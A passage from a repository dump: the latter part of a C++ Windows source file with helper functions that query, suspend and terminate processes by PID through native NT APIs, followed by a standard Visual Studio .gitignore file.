STATUS_INFO_LENGTH_MISMATCH); 77 | 78 | if (!NT_SUCCESS(status)) { 79 | VirtualFree(buffer, 0, MEM_RELEASE); 80 | return 0; 81 | } 82 | 83 | DWORD mainThreadId = 0; 84 | LARGE_INTEGER earliestCreateTime = { 0x7FFFFFFFFFFFFFFF }; 85 | auto spi = (MY_SYSTEM_PROCESS_INFORMATION*)buffer; 86 | 87 | while (true) { 88 | if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) 89 | { 90 | if (spi->NumberOfThreads > 0) 91 | { 92 | mainThreadId = (DWORD)(ULONG_PTR)spi->Threads[0].ClientId.UniqueThread; 93 | } 94 | break; 95 | } 96 | 97 | if (spi->NextEntryOffset == 0) break; 98 | spi = (MY_SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset); 99 | } 100 | 101 | VirtualFree(buffer, 0, MEM_RELEASE); 102 | return mainThreadId; 103 | } 104 | 105 | BOOL IsProcessSuspendedByPID(DWORD pid) 106 | { 107 | ULONG bufferSize = 0x10000; 108 | PVOID buffer = nullptr; 109 | NTSTATUS status; 110 | PNtQuerySystemInformation NtQuerySystemInformation = 111 | (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); 112 | 113 | do { 114 | buffer = VirtualAlloc(nullptr, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 115 | if (!buffer) return FALSE; 116 | 117 | status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, nullptr); 118 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 119 | VirtualFree(buffer, 0, MEM_RELEASE); 120 | bufferSize *= 2; 121 | } 122 | } while (status == STATUS_INFO_LENGTH_MISMATCH); 123 | 124 | if (!NT_SUCCESS(status)) { 125 | VirtualFree(buffer, 0, MEM_RELEASE); 126 | return FALSE; 127 | } 128 | 129 | DWORD mainThreadId = 0; 130 | LARGE_INTEGER earliestCreateTime = { 0x7FFFFFFFFFFFFFFF }; 131 | auto spi = (MY_SYSTEM_PROCESS_INFORMATION*)buffer; 132 | 133 | while (true) 134 | { 135 | if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) 136 | { 137 | // If no threads, consider not suspended 138 | if (spi->NumberOfThreads == 0) return FALSE; 139 | 140 | // Thread info array immediately follows the SYSTEM_PROCESS_INFORMATION struct 141 | PSYSTEM_THREAD_INFORMATION threadInfo = (PSYSTEM_THREAD_INFORMATION)((PBYTE)spi + sizeof(SYSTEM_PROCESS_INFORMATION)); 142 | for (ULONG i = 0; i < spi->NumberOfThreads; ++i) 143 | { 144 | // Check thread state and wait reason 145 | if (threadInfo[i].ThreadState != StateWait || threadInfo[i].WaitReason != Suspended) 146 | { 147 | return FALSE; 148 | } 149 | } 150 | return TRUE; 151 | break; 152 | } 153 | 154 | if (spi->NextEntryOffset == 0) break; 155 | spi = (MY_SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset); 156 | } 157 | 158 | VirtualFree(buffer, 0, MEM_RELEASE); 159 | return mainThreadId; 160 | } 161 | 162 | BOOL SuspendProcessByPID(DWORD pid) 163 | { 164 | // Load ntdll.dll and get the address of NtSuspendProcess 165 | HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); 166 | if (!hNtdll) return false; 167 | 168 | pNtSuspendProcess NtSuspendProcess = (pNtSuspendProcess)GetProcAddress(hNtdll, "NtSuspendProcess"); 169 | if (!NtSuspendProcess) return false; 170 | 171 | // Open the target process with PROCESS_SUSPEND_RESUME access 172 | HANDLE hProcess = OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid); 173 | if (!hProcess) 174 | { 175 | std::wcerr << L"OpenProcess: PROCESS_SUSPEND_RESUME failed: " << GetLastError() << std::endl; 176 | return false; 177 | } 178 | 179 | // Call NtSuspendProcess 180 | NTSTATUS status = NtSuspendProcess(hProcess); 181 | CloseHandle(hProcess); 182 | if (status != 0) 183 | { 184 | std::wcerr << "NtSuspendProcess failed. Error code: " << GetLastError() << std::endl; 185 | return false; 186 | } 187 | std::wcout << "Process suspended successfully.\n"; 188 | return true; 189 | } 190 | 191 | BOOL TerminateProcessByPID(DWORD pid) 192 | { 193 | // Open the process with termination rights 194 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); 195 | if (!hProcess) 196 | { 197 | std::cerr << "OpenProcess failed. Error: " << GetLastError() << "\n"; 198 | return false; 199 | } 200 | BOOL result = TerminateProcess(hProcess, 1); // Exit code = 1 201 | if (!result) 202 | { 203 | std::cerr << "TerminateProcess failed. Error: " << GetLastError() << "\n"; 204 | CloseHandle(hProcess); 205 | return false; 206 | } 207 | CloseHandle(hProcess); 208 | std::cout << "Process terminated successfully.\n"; 209 | return true; 210 | } 211 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. 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Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd --------------------------------------------------------------------------------